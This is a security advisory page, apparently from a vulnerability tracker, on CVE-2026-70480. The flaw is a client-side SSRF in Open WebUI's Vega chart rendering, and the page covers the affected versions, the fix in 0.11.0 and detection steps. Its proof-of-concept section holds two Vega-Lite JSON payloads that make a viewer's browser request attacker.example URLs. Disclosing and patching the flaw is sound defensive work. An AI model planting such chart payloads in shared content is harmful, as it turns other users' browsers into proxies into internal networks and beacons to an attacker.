AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-70480: Open WebUI: Client-side SSRF via unrestricted external resource loading in Vega/Vega-Lite chart rendering

mediumCVSS 3.1 4.1GHSA-rffm-9q57-q649

Open WebUI 0.6.34 up to before 0.11.0 renders vega and vega-lite code blocks in chat with Vega's default resource loader. Anyone who can put such a block in front of another user makes that user's browser send attacker-chosen GET requests, and can read same-origin or CORS-permissive responses back into the chart. Upgrade to 0.11.0.

Published Aug 4, 2026 · Analysis Nov 23, 2026

What an attacker can do

renderVegaVisualization in src/lib/utils/index.ts builds a Vega view in the viewer's browser, and CodeBlock.svelte triggers it for fenced vega and vega-lite blocks. The default loader has two exits. A data.url or topojson source is fetched when the view is built. An image mark passes its url through sanitize and lands in the output SVG as an image reference, which the browser fetches when the chart is shown. The second path survives SVG sanitization because the URL is a normal attribute value.

No setting enables this; Vega blocks render by default. The attacker needs an account that can put content in front of the victim: a shared chat, a channel message, or model, RAG or tool output they can influence. The victim must open the message. The victim's browser then acts as a request proxy to internal hosts and ports it can reach, and to beacon servers that confirm who viewed the chart. For same-origin or CORS-permissive targets, the response comes back into the chart, which makes it a read. Requests are GET only, and the server's own data is not exposed. Server-side SSRF protections never see these requests.

Who is affected

pip package open-webui at >= 0.6.34, < 0.11.0. Every default deployment in that range is affected, since no flag controls Vega rendering. Check the installed version:

pip show open-webui

For Docker, check the image tag you run. The risk is higher where users' browsers can reach internal networks.

open-webui

Ecosystem
PyPI
Affected
>= 0.6.34, < 0.11.0
Fixed in
0.11.0
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.11.0:

pip install --upgrade open-webui==0.11.0

The fix (pull request 26806) builds the Vega view with a loader whose load always throws and whose sanitize resolves the URI with the browser's URL parser and allows only data: and same-origin results. Charts can then use only inline data.values, which still render. No configuration change is needed. The advisory documents no workaround.

How to tell if you were hit

Search stored chats, channel messages and shared chats for fenced vega or vega-lite blocks containing a url field that points off-site or to internal addresses, in either data or an image mark. In a victim's browser network log, look for GET requests to unfamiliar hosts when a chart is displayed. The advisory's proof of concept shows both paths as outbound requests in the network log and on the attacker's listener. The sources do not report exploitation in the wild.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

Open WebUI renders vega and vega-lite fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.

Preconditions

Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little.

Impact

The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.

Fix

Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose load always throws and whose sanitize resolves the URI with the browser's own URL parser and permits only data: and same-origin results, so charts can only use inline data.values. Upgrading is sufficient; no configuration change is needed.

Root cause

  • src/lib/utils/index.ts — renderVegaVisualization
  • src/lib/components/chat/Messages/CodeBlock.svelte — renders vega/vega-lite blocks

The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: data.url and topojson/geo sources are fetched at view construction, and image marks pass their url through sanitize and are written into the output SVG as <image href>, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.

Proof of concept

Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.

{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"}
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}}

The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline data.values charts still render.

Credits

  • @Zureno — reported the issue and the data.url path.
  • @Classic298 — identified the image-mark sink and authored the fix.

Credited to Zureno, Classic298.

Questions

Is this zero-click in Open WebUI?

No. The victim must open the message or chat that holds the Vega block. Rendering then happens automatically in their browser, with no setting to enable.

Can the attacker read internal responses?

Only from same-origin targets or ones returning permissive CORS headers, where the body is pulled into the chart in the victim's page. Other requests are blind GETs that still reach the target.

Which version of Open WebUI fixes it?

Version 0.11.0. The affected range starts at 0.6.34. Upgrading is sufficient, and inline data.values charts continue to render.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries